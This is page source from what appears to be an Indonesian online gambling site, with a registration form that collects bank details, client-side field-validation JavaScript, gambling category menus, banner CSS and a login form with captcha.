884<script> 885 $(document).ready(function(){ 886 $('#cp_confirm_password_mobile, #cp_new_password_mobile').on('keyup', function() { 887 var newPass = $('#cp_new_password_mobile').val(); 888 var confirmPass = $('#cp_confirm_password_mobile').val(); 889 var currentField = $(this); 890 891 $('#cp_new_password_mobile').removeClass('error-border valid-border'); 892 $('#cp_confirm_password_mobile').removeClass('error-border valid-border'); 893 $('#err_new_password_mobile').hide(); 894 $('#err_confirm_password_mobile').hide(); 895 896 if (newPass.length > 0 && confirmPass.length > 0) { 897 if (newPass === confirmPass) { 898 $('#cp_new_password_mobile').addClass('valid-border'); 899 $('#cp_confirm_password_mobile').addClass('valid-border'); 900 } else { 901 $('#cp_new_password_mobile').addClass('error-border'); 902 $('#cp_confirm_password_mobile').addClass('error-border'); 903 if (currentField.attr('id') === 'cp_new_password_mobile') { 904 $('#err_new_password_mobile').text('Password tidak sama').show(); 905 } else { 906 $('#err_confirm_password_mobile').text('Password tidak sama').show(); 907 } 908 } 909 } 910 }); 911 }); 912 </script>
912 913 </div> 914 915 <!-- Register Mobile --> 916 <style> 917 .error-msg { color: red; font-size: 12px; margin-top: 3px; display: none; } 918 .error-border { border-color: red !important; } 919 .valid-border { border-color: green !important; } 920 </style> 921 <div id="mobile-daftar-form" style="width: 100%; display: none"> 922 <div id="mobileregister"> 923 <form id="formRegister" class="login-form p-0 pt-4"> 924 <div id="statusRegister" style="margin-bottom: 5px; width: 100%"></div> 925 <div class="prepend" style="width: 100%; height: 36px; display: grid; place-items: center; border-radius: 3px; font-size: 1.2rem; font-weight: bold">DAFTAR</div> 926 <div class="input-group login-field"> 927 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-circle prepend-icon"></i></div></span> 928 <input type="text" class="form-control login-input-field" name="username" id="reg_username" placeholder="Username 6-16 karakter standar (A~Z, a~z, 0~9) dan tanpa spasi"> 929 </div> 930 <div class="error-msg" id="err_username"></div> 931 <div class="input-group login-field"> 932 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 933 <input type="password" class="form-control login-input-field" id="reg_pass" name="pass" placeholder="Password (6 karakter atau lebih)"> 934 </div> 935 <div class="error-msg" id="err_password"></div> 936 <div class="input-group login-field"> 937 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 938 <input type="password" class="form-control login-input-field" id="reg_passcon" name="passcon" placeholder="Password sekali lagi"> 939 </div> 940 <div class="error-msg" id="err_passcon"></div> 941 <div class="input-group login-field"> 942 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-envelope-fill prepend-icon"></i></div></span> 943 <input type="text" class="form-control login-input-field" id="reg_email" name="email" placeholder="Email"> 944 </div> 945 <div class="error-msg" id="err_email"></div> 946 <div class="input-group login-field"> 947 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-telephone-fill prepend-icon"></i></div></span> 948 <input type="text" class="form-control login-input-field" id="reg_telpon" name="telpon" class="form-control" placeholder="Telpon"> 949 </div> 950 <div class="error-msg" id="err_telpon"></div> 951 952 <div class="input-group login-field"> 953 <select class="form-select login-input-field" name="bank" id="reg_bank"> 954 <option value="">Pilih Bank</option> 955 <option value='BCA'>BCA</option><option value='Mandiri'>Mandiri</option><option value='BNI'>BNI</option><option value='BRI'>BRI</option><option value='CIMB'>CIMB</option><option value='Danamon'>Danamon</option><option value='Permata'>Permata</option><option value='BJB'>BJB</option><option value='PANIN'>PANIN</option><option value='OCBC'>OCBC</option><option value='DKI'>DKI</option><option value='SUMUT'>SUMUT</option><option value='BSI'>BSI</option><option value='Jenius'>Jenius</option><option value='DANA'>DANA</option><option value='OVO'>OVO</option><option value='ShopeePay'>ShopeePay</option><option value='GOPAY'>
955GOPAY</option><option value='LinkAja'>LinkAja</option><option value='Lain-lain'>Lain-lain</option> </select> 956 </div> 957 <div class="error-msg" id="err_bank"></div> 958 959 <div class="input-group login-field"> 960 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-piggy-bank-fill prepend-icon"></i></div></span> 961 <input type="text" class="form-control login-input-field" name="rek" id="reg_rek" placeholder="No Rekening"> 962 </div> 963 <div class="error-msg" id="err_rek"></div> 964 <div class="input-group login-field"> 965 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-fill prepend-icon"></i></div></span> 966 <input type="text" class="form-control login-input-field" name="nama" id="reg_nama" placeholder="Nama Rekening"> 967 </div> 968 <div class="error-msg" id="err_nama"></div> 969 <div class="input-group login-field"> 970 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-file-earmark-person-fill prepend-icon"></i></div></span> 971 <input type="text" class="form-control login-input-field" name="ref" type="text" id="reg_ref" placeholder="Username Referal bila ada" > 972 </div> 973 <div class="error-msg" id="err_ref"></div> 974 <!-- <input type="text" class="form-control" placeholder="Nama Akun" aria-label="Nama Akun"> 975 <input type="password" class="form-control" placeholder="Kata Sandi" aria-label="Kata Sandi"> --> 976 977 978 <div class="w-100 my-1"> 979 <div id="capverifikasi"> 980 <img src="m/capreg.php" width="100%" style="border-radius: 5px;margin-top: -3px; height: 44px"> 981 </div> 982 983 <div class="input-group login-field mt-1"> 984 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-fill-check prepend-icon"></i></div></span> 985 <input type="text" class="form-control login-input-field" name="regverifikasi" id="reg_verifikasi" placeholder="Verifikasi" style="padding: 10px;" autocomplete="off"> 986 </div> 987 <div class="error-msg" id="err_verifikasi"></div> 988 989 </div> 990 991 992 <button type="button" class="btn btn-masuk fw-bold p-0 px-2" value="Register" id="buttonRegister">Daftar</button> 993 <input type="hidden" name="task" value="register"> 994 <input type="hidden" name="regmobile" value="FPfemPeGMqoJTcqhe+B99Ze5OLWCZGM57u8Bd6fgdz4="> 995 <input type="hidden" name="iscaptcharegister" value="1"> 996 <input type="hidden" name="isrecaptcha" value="
9960"> 997 <input type="hidden" name="isrecaptcharegister" value="0"> 998 <button type="button" class="btn btn-secondary fw-bold p-0 px-2" value="Close" onClick="closeDaftar()" id="buttonClose">Close</button> 999 </form> 1000 </div> 1001
1001<script> 1002 const WEBNAME = 'CctvSlot'; 1003 const USE_STRONG_VALIDATION = false; 1004 (function(){ 1005 function root(){ return document.getElementById('mobileregister'); } 1006 function q(id){ return root()?.querySelector('#'+id) || null; } 1007 function qe(sel){ return root()?.querySelector(sel) || null; } 1008 1009 function showError(field,msg){ 1010 const err = qe('#err_'+field); 1011 const inp = q('reg_'+field); 1012 if (err){ err.textContent = msg; err.style.display = 'block'; } 1013 if (inp){ inp.classList.remove('valid-border'); inp.classList.add('error-border'); } 1014 } 1015 function clearError(field){ 1016 const err = qe('#err_'+field); 1017 const inp = q('reg_'+field); 1018 if (err) err.style.display = 'none'; 1019 if (inp){ inp.classList.remove('error-border'); inp.classList.add('valid-border'); } 1020 } 1021 1022 function checkPasswordStrengthJS(username, password) { 1023 const min_length = 6; 1024 const length = password.length; 1025 if (length < min_length) { 1026 return "Password harus minimal " + min_length + " karakter"; 1027 } 1028 const hasLower = /[a-z]/.test(password); 1029 const hasUpper = /[A-Z]/.test(password); 1030 if (!(hasLower && hasUpper)) { 1031 return "Password harus mengandung minimal 1 huruf kecil, 1 huruf besar, dan angka."; 1032 } 1033 if (!/[0-9]/.test(password)) { 1034 return "Password harus mengandung angka"; 1035 } 1036 if (username && password.toLowerCase().includes(username.toLowerCase())) { 1037 return "Password tidak boleh mengandung username"; 1038 } 1039 const numSeq = /(012|123|234|345|456|567|678|789|890|210|321|432|543|654|765|876|987|098)/; 1040 if (numSeq.test(password)) { 1041 return "Password tidak boleh mengandung angka berurutan"; 1042 } 1043 const letterSeqStr = "(abc|bcd|cde|def|efg|fgh|ghi|hij|ijk|jkl|klm|lmn|mno|nop|opq|pqr|qrs|rst|stu|tuv|uvw|vwx|wxy|xyz|" 1044 + "cba|dcb|edc|fed|gfe|hgf|ihg|jih|kji|lkj|mlk|nml|onm|pon|qpo|rqp|srq|tsr|uts|vut|wvu|xwv|yxw|zyx|" 1045 + "qwert|werty|asdf|zxcv|uiop|hjkl)"; 1046 const letterSequences = new RegExp(letterSeqStr, "i"); 1047 if (letterSequences.test(password)) { 1048 return "Password tidak boleh mengandung huruf berurutan"; 1049 } 1050 return null; 1051 } 1052 1053 function vUsername(){ 1054 const v = (q('reg_username')?.value || '').trim(); 1055 if (!v) return showError('username','Username tidak boleh kosong'), false; 1056 if (v.length < 6) return showError('username','Username minimal 6 karakter'), false; 1057 if (v.length > 16) return showError('username','Username maksimal 16 karakter'), false; 1058 if (!/^[A-Za-z0-9]+$/.test(v)) return showError('username','Hanya huruf/angka'), false; 1059 clearError('username'); return true; 1060 } 1061 function vPass(){ 1062 const v = q('reg_pass')?.value || ''; 1063 if(!v) { 1064 showError('password','Password tidak boleh kosong'); 1065 return false;
1066 } 1067 if (USE_STRONG_VALIDATION) { 1068 const username = (q('reg_username')?.value || '').trim(); 1069 const err = checkPasswordStrengthJS(username, v); 1070 if (err) { 1071 showError('password', err); 1072 return false; 1073 } 1074 clearError('password'); 1075 if (q('reg_passcon')?.value) { 1076 vPasscon(); 1077 } 1078 return true; 1079 } 1080 1081 if (v.length < 6) { 1082 showError('password','Password minimal 6 karakter'); 1083 return false; 1084 } 1085 1086 clearError('password'); 1087 return true; 1088 } 1089 function vPasscon() { 1090 const p1 = q('reg_pass')?.value || ''; 1091 const p2 = q('reg_passcon')?.value || ''; 1092 if (!p2) { 1093 showError('passcon', 'Konfirmasi password kosong'); 1094 return false; 1095 } 1096 if (USE_STRONG_VALIDATION) { 1097 const username = (q('reg_username')?.value || '').trim(); 1098 const err = checkPasswordStrengthJS(username, p1); 1099 if (err) { 1100 showError('passcon', err); 1101 return false; 1102 } 1103 } 1104 1105 if (p1 !== p2) { 1106 showError('passcon', 'Konfirmasi tidak sama'); 1107 return false; 1108 } 1109 1110 clearError('passcon'); 1111 return true; 1112 } 1113 // function vPass(){ 1114 // const v = q('reg_pass')?.value || ''; 1115 // if (!v) return showError('password','Password tidak boleh kosong'), false; 1116 // if (v.length < 6) return showError('password','Password minimal 6 karakter'), false; 1117 // clearError('password'); return true; 1118 // } 1119 // function vPasscon(){ 1120 // const p1 = q('reg_pass')?.value || ''; 1121 // const p2 = q('reg_passcon')?.value || ''; 1122 // if (!p2) return showError('passcon','Konfirmasi password kosong'), false; 1123 // if (p1 !== p2) return showError('passcon','Konfirmasi tidak sama'), false; 1124 // clearError('passcon'); return true; 1125 // } 1126 function vEmail(){ 1127 const v = (q('reg_email')?.value || '').trim(); 1128 if (!v) return showError('email','Email tidak boleh kosong'), false; 1129 if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v)) return showError('email','Format email salah'), false; 1130 clearError('email'); return true; 1131 } 1132 function vTelp(){ 1133 const el = q('reg_telpon'); if (!el) return true; 1134 el.value = (el.value || '').replace(/\D/g,''); 1135 if (!el.value) return showError('telpon','Telpon kosong'), false; 1136 if (el.value.length < 10) return showError('telpon','Telpon minimal 10 digit'), false; 1137 clearError('telpon'); return true; 1138 } 1139 function vBank(){ 1140 if (!q('reg_bank')?.value) return showError('bank','Pilih bank'), false; 1141 clearError('bank'); return true; 1142 } 1143 function vRek(){ 1144 const el = q('reg_rek'); if (!el) return true; 1145 el.value = (el.value || '').replace(/\D/g,''); 1146 if (!el.value) return showError('rek','Rekening kosong'), false; 1147 if (el.value.length < 8) return showError('rek','Minimal 8 digit'), false; 1148 clearError('rek'); return true; 1149 } 1150 function vNama(){ 1151 const v = (q('reg_nama')?.value || '').trim(); 1152 if (!v) return showError('nama','Nama kosong'), false; 1153 if (v.length < 3) return showError('nama','Nama minimal 3 karakter'), false; 1154 if(!/^[a-zA-Z\s]+$/.test(v)) return showError('nama','Nama hanya boleh huruf'), false; 1155 clearError('nama'); return true; 1156 } 1157 function vRefOpt(){ 1158 const el = q('reg_ref'); if (!el) return true; 1159 const v = (el.value || '').trim(); 1160 if (!v) return clearError('ref'), true; 1161 if (v.length > 16) return showError('ref','Maksimal 16 karakter'), false; 1162 if (!/^[A-Za-z0-9]+$/.test(v)) return showError('ref','Hanya huruf/angka'), false; 1163 clearError('ref'); return true; 1164 } 1165 function vVerifOpt(){ 1166 const el = q('reg_verifikasi'); if (!el) return true; 1167 const v = (el.value || '').trim(); 1168 if (!v) return showError('verifikasi','Kode verifikasi harus diisi'), false; 1169 clearError('verifikasi'); return true; 1170 } 1171 1172 function validateAll(){ 1173 const ok = 1174 vUsername() & vPass() & vPasscon() & vEmail() & 1175 vTelp() & vBank() & vRek() & vNama() & 1176 vRefOpt() & vVerifOpt(); 1177 return !!ok; 1178 } 1179 1180 function attach(id, validator, opts){ 1181 const el = q(id); if (!el) return; 1182 const run = () => validator(); 1183 el.addEventListener('focus', run); 1184 if (!opts || opts.input !== false) el.addEventListener('input', run); 1185 el.addEventListener('blur', run); 1186 if (opts && opts.change) el.addEventListener('change', run); 1187 } 1188 1189 document.addEventListener('DOMContentLoaded', function(){ 1190 attach('reg_username', vUsername); 1191 attach('reg_pass', vPass); 1192 attach('reg_passcon', vPasscon); 1193 attach('reg_email', vEmail); 1194 attach('reg_telpon', vTelp); 1195 attach('reg_bank', vBank, { input
1195:false, change:true }); 1196 attach('reg_rek', vRek); 1197 attach('reg_nama', vNama); 1198 attach('reg_ref', vRefOpt); 1199 attach('reg_verifikasi', vVerifOpt); 1200 1201 const f = q('formRegister'); 1202 if (f) { 1203 f.addEventListener('submit', function(e){ 1204 if (!validateAll()) { 1205 e.preventDefault(); 1206 const firstErr = root()?.querySelector('.error-border') || q('reg_username'); 1207 if (firstErr && firstErr.focus) firstErr.focus(); 1208 } 1209 }); 1210 } 1211 }); 1212 })(); 1213 </script>
1213 1214 </div> 1215 </div> 1216 1217 <div class="menu"> 1218 <style> 1219 .menu-item { 1220 display: flex; 1221 flex-direction: column; 1222 align-items: center; 1223 justify-content: center; 1224 gap: 12px; 1225 min-width: 72px; 1226 padding: 8px; 1227 height: 100%; 1228 } 1229 1230 .menu-item:hover { 1231 background: linear-gradient(180deg,var(--secondary-background) 0%, rgba(255, 255, 255, 0) 100%); 1232 } 1233 1234 .menu-item.active { 1235 background: linear-gradient(180deg,var(--secondary-background) 0%, rgba(255, 255, 255, 0) 100%); 1236 } 1237 1238 .menu-item-img { 1239 height: 28px; 1240 } 1241 1242 .menu-item-icon { 1243 font-size: 28px; 1244 color: var(--menu-item-color) 1245 } 1246 1247 .menu-item:hover>.menu-item-icon { 1248 color: var(--primary-color); 1249 } 1250</style> 1251 1252 1253<a href="/" class="menu-item active"> 1254 <!--<img class="mobile-only" src="assets/slot.png" alt="">--> 1255 <i class="menu-item-icon icon-home" style="font-size: 28px"></i> 1256 <label>HOME</label> 1257</a> 1258 1259 <a href="/register" class="menu-item" onmouseover="showProducts('hover-togel')" onmouseout="hideProducts('hover-togel')"> 1260 <!--<img class="mobile-only" src="assets/togel.png" alt="">--> 1261 <!--<img src="https://img.viva88athenae.com//icons/lottery_w.png?1790436661" alt="TOGEL" class="menu-item-img">--> 1262 <i class="menu-item-icon icon-lottery" style="font-size: 28px"></i> 1263 <label>TOGEL</label> 1264 </a> 1265 1266 1267 1268<a href="/slot" class="menu-item" onmouseover="showProducts('hover-slot')" onmouseout="hideProducts('hover-slot')"> 1269 <!--<img class="mobile-only" src="assets/slot.png" alt="">--> 1270 <i class="menu-item-icon icon-slots"></i> 1271 <label>SLOT</label> 1272</a> 1273<a href="/casino" class="menu-item" onmouseover="showProducts('hover-live')" onmouseout="hideProducts('hover-live')"> 1274 <!--<img class="mobile-only" src="assets/live.png" alt="">--> 1275 <i class="menu-item-icon icon-casino"></i> 1276 <label>LIVE CASINO</label> 1277</a> 1278<a href="/sport" class="menu-item" onmouseover="showProducts('hover-sport')" onmouseout="hideProducts('hover-sport')"> 1279 <!--<img class="mobile-only" src="assets/sport.png" alt="">--> 1280 <i class="menu-item-icon icon-sports"></i> 1281 <label>SPORT</label> 1282</a> 1283<a href="/sabung" class="menu-item" onmouseover="showProducts('hover-sabung')" onmouseout="hideProducts('hover-sabung')"> 1284<!-- <img class="mobile-only" src="assets/sabung.png" alt="">--> 1285 <i class="menu-item-icon icon-sabung"></i> 1286 <label>SABUNG</label> 1287</a> 1288<a href="/arcade" class="menu-item" onmouseover="showProducts('hover-fishing')" onmouseout="hideProducts('hover-fishing')"> 1289 <!--<img class="mobile-only" src="assets/fishing.png" alt="">--> 1290 <i class="menu-item-icon icon-arcade"></i> 1291 <label>ARCADE</label> 1292</a> 1293<a href="/interactive" class="menu-item" onmouseover="showProducts('hover-interactive')" onmouseout="hideProducts('hover-interactive')"> 1294 <i class="menu-item-icon icon-interactive"></i> 1295 <label>INTERACTIVE</label> 1296</a> 1297 </div> 1298 1299 1300 1301 <div class="menu-mobile mobile-only" style="width: 100%; overflow-x: hidden; position: relative; border-top: 3px solid var(--primary-color); border-bottom: 3px solid var(--theme-color)"> 1302 1303 1304 <div style="position: absolute; height: 100%; background: var(--primary-color); display: grid; place-items: center; left: 0; padding: 0px 6px" onclick="document.getElementById('menu-mobile').scrollBy(-40, 0)"> 1305 <i class="bi bi-caret-left-fill" style="font-size: 16px; color: var(--marquee-color)"></i> 1306 </div> 1307 1308 <div style="position: absolute; height: 100%; background: var(--primary-color); display: grid; place-items: center; right: 0; padding: 0px 6px;" onclick="document.getElementById('menu-mobile').scrollBy(40, 0)"> 1309 <i class="bi bi-caret-right-fill" style="font-size: 16px; color: var(--marquee-color)"></i> 1310 </div> 1311 1312 1313 <div id="menu-mobile" style="height:60px; overflow-x: scroll; overflow-y: hidden; max-width: 100%; display: block; margin-left: 28px; margin-right: 28px; background: linear-gradient(90deg, rgba(26,26,26,0.3) 0%, rgba(0,0,0,0.3) 10%, rgba(0,0,0,0.3) 100%), var(--primary-color)"> 1314 1315 1316 <div style="white-space: nowrap; height: 100%; font-size: 0px"> 1317 1318 <a href="#togel-mobile" style="height: 100%; width: 74px; display: inline-block;"> 1319 <div style="display: grid; place-items: center; height: 100%"> 1320 <div class="menu-item" style="gap: 8px"> 1321 <img class="mobile-only" src="https://img.viva88athenae.com//icons/lottery.png" alt=""> 1322 <label class="text-white">TOGEL</label> 1323 </div> 1324 </div> 1325 </a> 1326 1327 <div style="height: 100%; width: 74px; display: inline-block;"> 1328 <div style="display: grid; place-items: center; height: 100%"> 1329 <div class="menu-item" style="gap: 8px" onclick="showProvider('slot')"> 1330 <img class="mobile-only" src="https://img.viva88athenae.com//icons/slots.png" alt=""> 1331 <label class="text-white">SLOT</label> 1332 </div> 1333 </div> 1334 </div> 1335 <div style="height: 100%; width: 74px; display: inline-block;"> 1336 <div style="display: grid; place-items: center; height: 100%"> 1337 <div class="menu-item" style="gap: 8px" onclick="showProvider('casino')"> 1338 <img class="mobile-only" src="https://img.viva88athenae.com//icons/casino.png" alt=""> 1339 <label class="text-white">LIVE CASINO</label> 1340 </div> 1341 </div> 1342 </div> 1343 <div style="height: 100%; width: 74px; display: inline-block;"> 1344 <div style="display: grid; place-items: center; height: 100%"> 1345 <div class="menu-item" style="gap: 8px" onclick="showProvider('sport')"> 1346 <img class="mobile-only" src="https://img.viva88athenae.com//icons/sp
1346orts.png" alt=""> 1347 <label class="text-white">SPORT</label> 1348 </div> 1349 </div> 1350 </div> 1351 <div style="height: 100%; width: 74px; display: inline-block;"> 1352 <div style="display: grid; place-items: center; height: 100%"> 1353 <div class="menu-item" style="gap: 8px" onclick="showProvider('fish')"> 1354 <img class="mobile-only" src="https://img.viva88athenae.com//icons/arcade.png" alt=""> 1355 <label class="text-white">ARCADE</label> 1356 </div> 1357 </div> 1358 </div> 1359 <div style="height: 100%; width: 74px; display: inline-block;"> 1360 <div style="display: grid; place-items: center; height: 100%"> 1361 <div class="menu-item" style="gap: 8px" onclick="showProvider('sabung')"> 1362 <img class="mobile-only" src="https://img.viva88athenae.com//icons/sabung.png" alt=""> 1363 <label class="text-white">SABUNG</label> 1364 </div> 1365 </div> 1366 </div> 1367 1368 <div style="height: 100%; width: 74px; display: inline-block;"> 1369 <div style="display: grid; place-items: center; height: 100%"> 1370 <div class="menu-item" style="gap: 8px" onclick="showProvider('interactive')"> 1371 <img class="mobile-only" src="https://img.viva88athenae.com//icons/interactive.png" alt=""> 1372 <label class="text-white">INTERACTIVE</label> 1373 </div> 1374 </div> 1375 </div> 1376 </div> 1377 </div> 1378</div> 1379 1380 <div class="menu-content mobile-only"> 1381 <div id="main-content" style="background: var(--content-box-background)"> 1382 </div> 1383 </div> 1384 1385 1386 <!-- Banner SBO --> 1387 1388 <style> 1389 .match-slider-wrap { 1390 max-width: 1200px; 1391 margin: 16px auto; 1392 margin-bottom: 24px; 1393 padding: 0 12px; 1394 } 1395 1396 .match-card { 1397 position: relative; 1398 overflow: hidden; 1399 min-height: 180px; 1400 border-radius: 16px; 1401 background: 1402 linear-gradient(135deg, rgba(255,255,255,.06), rgba(255,255,255,.01)), 1403 linear-gradient(180deg, #232323 0%, #161616 100%); 1404 color: #fff; 1405 box-shadow: 0 10px 24px rgba(0,0,0,.35); 1406 padding: 14px 14px 16px; 1407 } 1408 1409 .match-card::before { 1410 content: ""; 1411 position: absolute; 1412 inset: 0; 1413 background: repeating-linear-gradient( 1414 -35deg, 1415 rgba(255,255,255,.04), 1416 rgba(255,255,255,.04) 8px, 1417 transparent 8px, 1418 transparent 18px 1419 ); 1420 pointer-events: none; 1421 opacity: .35; 1422 } 1423 1424 .match-card > * { 1425 position: relative; 1426 z-index: 1; 1427 } 1428 1429 .league-name { 1430 font-size: 14px; 1431 font-weight: 700; 1432 letter-spacing: .4px; 1433 text-transform: uppercase; 1434 text-align: center; 1435 margin-bottom: 2px; 1436 color: #ffffff; 1437 } 1438 1439 .kickoff-time { 1440 font-size: 14px; 1441 font-weight: 800; 1442 text-align: center; 1443 color: #ffd23c; 1444 margin-bottom: 12px; 1445 } 1446 1447 .match-main-row, 1448 .match-odds-row { 1449 display: flex; 1450 align-items: flex-start; 1451 justify-content: space-between; 1452 gap: 0; 1453 } 1454 1455 .match-odds-row { 1456 align-items: center; 1457 margin-top: 12px; 1458 } 1459 1460 .team-col { 1461 width: 30%; 1462 text-align: center; 1463 display: flex; 1464 flex-direction: column; 1465 align-items: center; 1466 } 1467 1468 .score-col { 1469 width: 40%; 1470 text-align: center; 1471 display: flex; 1472 flex-direction: column; 1473 align-items: center; 1474 justify-content: center; 1475 } 1476 1477 .team-logo { 1478 width: 46px; 1479 height: 46px; 1480 object-fit: contain; 1481 margin-bottom: 6px; 1482 } 1483 1484 .team-name { 1485 font-size: 14px; 1486 line-height: 1.15; 1487 min-height: 34px; 1488 display: flex; 1489 align-items: center; 1490 justify-content: center; 1491 text-align: center; 1492 } 1493 1494 .score-value { 1495 font-size: 28px; 1496 font-weight: 800; 1497 line-height: 1; 1498 margin-bottom: 10px; 1499 } 1500 1501 .bet-btn { 1502 display: inline-block; 1503 min-width: 95px; 1504 border-radius: 8px; 1505 background: linear-gradient(180deg, #ffcf21 0%, #f0ab00 100%); 1506 color: #1d1d1d; 1507 font-size: 14px; 1508 font-weight: 800; 1509 text-decoration: none; 1510 padding: 10px 16px; 1511 box-shadow: inset 0 1px 0 rgba(255,255,255,.45); 1512 } 1513 1514 .bet-btn:hover { 1515 color: #1d1d1d; 1516 filter: brightness(1.03); 1517 } 1518 1519 .odds-col { 1520 width: 30%; 1521 text-align: center; 1522 font-size: 12px; 1523 font-weight: 700; 1524 color: #ffd23c; 1525 display: flex; 1526 align-items: center; 1527 justify-content: center; 1528 min-height: 18px; 1529 } 1530 1531 .odds-col small { 1532 font-size: 12px; 1533 font-weight: 600; 1534 color: #ffffff; 1535 opacity: .95; 1536 } 1537 1538 .odds-spacer { 1539 width: 40%; 1540 } 1541 1542 .carousel-control-prev, 1543 .carousel-control-next { 1544 width: 48px; 1545 } 1546 1547 .carousel-control-prev-icon, 1548 .carousel-control-next-icon { 1549 width: 2.5rem; 1550 height: 2.5rem; 1551 border-radius: 50%; 1552 background-color: rgba(255,255,255,.15); 1553 background-size: 55% 55%; 1554 } 1555 1556 .carousel-indicators [data-bs-target] { 1557 width: 8px; 1558 height: 8px; 1559 border-radius: 50%; 1560 } 1561 1562 @media (max-width: 991.98px) { 1563 .match-card { 1564 min-height: 170px; 1565 } 1566 } 1567 1568 @media (max-width: 767.98px) { 1569 .match-slider-wrap { 1570 max-width: 100%; 1571 padding: 0 20px; 1572 margin: 20px 0; 1573 } 1574 1575 .match-slider-wrap .carousel-inner { 1576 padding: 0; 1577 } 1578 1579 .match-slider-wrap .carousel-item .row { 1580 margin: 0; 1581 } 1582 1583 .match-slider-wrap .carousel-item .col-12 { 1584 padding: 0; 1585 } 1586 1587 .match-card { 1588 width: 100%; 1589 border-radius: 16px; 1590 } 1591 1592 .league-name { 1593 font-size: 13px; 1594 margin-bottom: 2px; 1595 } 1596 1597 .kickoff-time { 1598 font-size: 13px; 1599 margin-bottom: 10px; 1600 } 1601 1602 .team-col { 1603 width: 30%; 1604 } 1605 1606 .score-col { 1607 width: 40%; 1608 } 1609 1610 .team-logo { 1611 width: 42px; 1612 height: 42px; 1613 margin-bottom: 4px; 1614 } 1615 1616 .team-name { 1617 font-size: 12px; 1618 line-height: 1.15; 1619 min-height: 30px; 1620 } 1621 1622 .score-value { 1623 font-size: 22px; 1624 margin-bottom: 8px; 1625 } 1626 1627 .bet-btn { 1628 min-width: 88px; 1629 font-size: 13px; 1630 padding: 8px 14px; 1631 border-radius: 8px; 1632 } 1633 1634 .match-odds-row { 1635 margin-top: 10px; 1636 } 1637 1638 .odds-col, 1639 .odds-col small { 1640 font-size: 11px; 1641 } 1642 1643 .carousel-control-prev, 1644 .carousel-control-next { 1645 width: 34px; 1646 } 1647 1648 .carousel-control-prev-icon, 1649 .carousel-control-next-icon { 1650 width: 2rem; 1651 height: 2rem; 1652 background-size: 50% 50%; 1653 } 1654 1655 .carousel-indicators { 1656 margin-bottom: -2px; 1657 } 1658 1659 .carousel-indicators [data-bs-target] { 1660 width: 7px; 1661 height: 7px; 1662 margin: 0 3px; 1663 } 1664 } 1665 </style> 1666 <!-- Banner SBO End --> 1667 1668 <div class="promosi"> 1669 1670 <!-- Desktop --> 1671 <div class="desktop-only h-100"> 1672 <div class="d-flex align-items-center h-100"> 1673 <a href="/promosi" class="menu-item"> 1674 <i class="menu-item-icon icon-promotion"></i> 1675 <label>PROMOSI</label> 1676 </a> 1677 1678 <a href="/event" class="menu-item"> 1679 <i class="menu-item-icon icon-event"></i> 1680 <label>EVENT</label> 1681 </a> 1682 </div> 1683 </div> 1684 1685 1686 1687 1688 <!--<div class="btn-informasi desktop-only" onclick="document.getElementById('modal-wrapper').style.display='block'"><a class="pointer" href="javascript:page('tentang');" style="text-decoration: none;" data-toggle="tooltip" data-placement="bottom" title="Informasi"><i class="bi bi-info-circle-fill" style="font-size: 16px"></i></a></div>--> 1689 1690 <!-- Mobile --> 1691 1692 <div class="mobile-only" style="padding-top: 24px"> 1693 1694 <div class="d-flex gap-3 justify-content-center align-items-center"> 1695 <a href="/?desktop" style="display: grid; place-items: center; font-size: 1.2rem; cursor: pointer; color: var(--menu-item-color)">Desktop</a> 1696 <div style="height: 1.1rem; width: 1.5px; background: var(--menu-item-color)"></div> 1697 1698 <a href="/wap" style="display: grid; place-items: center; font-size: 1.2rem; cursor: pointer; color: var(--menu-item-color)">Wap</a> 1699 </div> 1700 1701 1702 </div> 1703 </div> 1704 1705 </div> 1706 1707 </header> 1708 1709 1710 1711 <div id="marquee" class="marquee desktop-only"> 1712 <div class="marquee-content py-2"> 1713 <div class="d-flex
1713align-items-center gap-2"> 1714 <div id="timenow" class="desktop-only" style="white-space: nowrap;"></div> 1715 <i class="bi bi-megaphone-fill desktop-only"></i> 1716 </div> 1717 <div class="running" style="padding-left: 8px; padding-right: 32px"> 1718 <div class="broadcast" style="width: 100%">SELAMAT DATANG DI CCTVSLOT | SITUS SLOT TERGACOR | AGEN SLOT TERPECAYA | LINK ALTERNATIF : WWW.CCTVSLOTLINK.PRO</div> 1719 </div> 1720 <div class="d-flex align-items-center gap-2"> 1721 <div id="desktoplogin" class="desktop-only"> 1722 <form class="login-form form" role="form"> 1723 <div id="msgbox" style="margin-right: 8px; color: #b29459; font-size: 1rem; white-space:nowrap;"></div> 1724 <div class="input-group login-field"> 1725 <span class="input-group-text prepend mobile-only "><div class="h-100 center"><i class="bi bi-person-circle prepend-icon"></i></div></span> 1726 <input type="text" name="username" class="form-control login-input-field username" placeholder="Nama Akun" aria-label="Username"> 1727 </div> 1728 1729 1730 1731 <div class="input-group login-field"> 1732 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 1733 <input type="password" name="password" class="form-control login-input-field password" placeholder="Kata Sandi" aria-label="Password"> 1734 </div> 1735 1736 <!-- captcha --> 1737 1738 <div class="verifikasiform" style=" "> 1739 <div style="display: flex; gap: 2px;"> 1740 <span id="verifikasi"><img src="/capimg.php" width="40" height="30" style="border:1px #999 solid;"></span> 1741 <input type="text" class="form-control login-field" name="verifikasi" id="verform" style="width:40px;height: 30px !important" autocomplete="off"> 1742 </div> 1743 1744 </div> 1745 <input type="hidden" name="verif" id="verifval" class="verifval" value="1"> 1746 1747 <!-- end captcha --> 1748 1749 1750 <button type="submit" value="Masuk" class="btn btn-masuk fw-bold p-0 px-2 submit">Masuk</button> 1751 <button type="button" class="btn btn-daftar btn-daftar-desktop fw-bold p-0 px-2 desktop-only" onclick="window.location.href='/register'">Daftar</button> 1752 1753 1754 <input type="hidden" name="task" value="login"> 1755 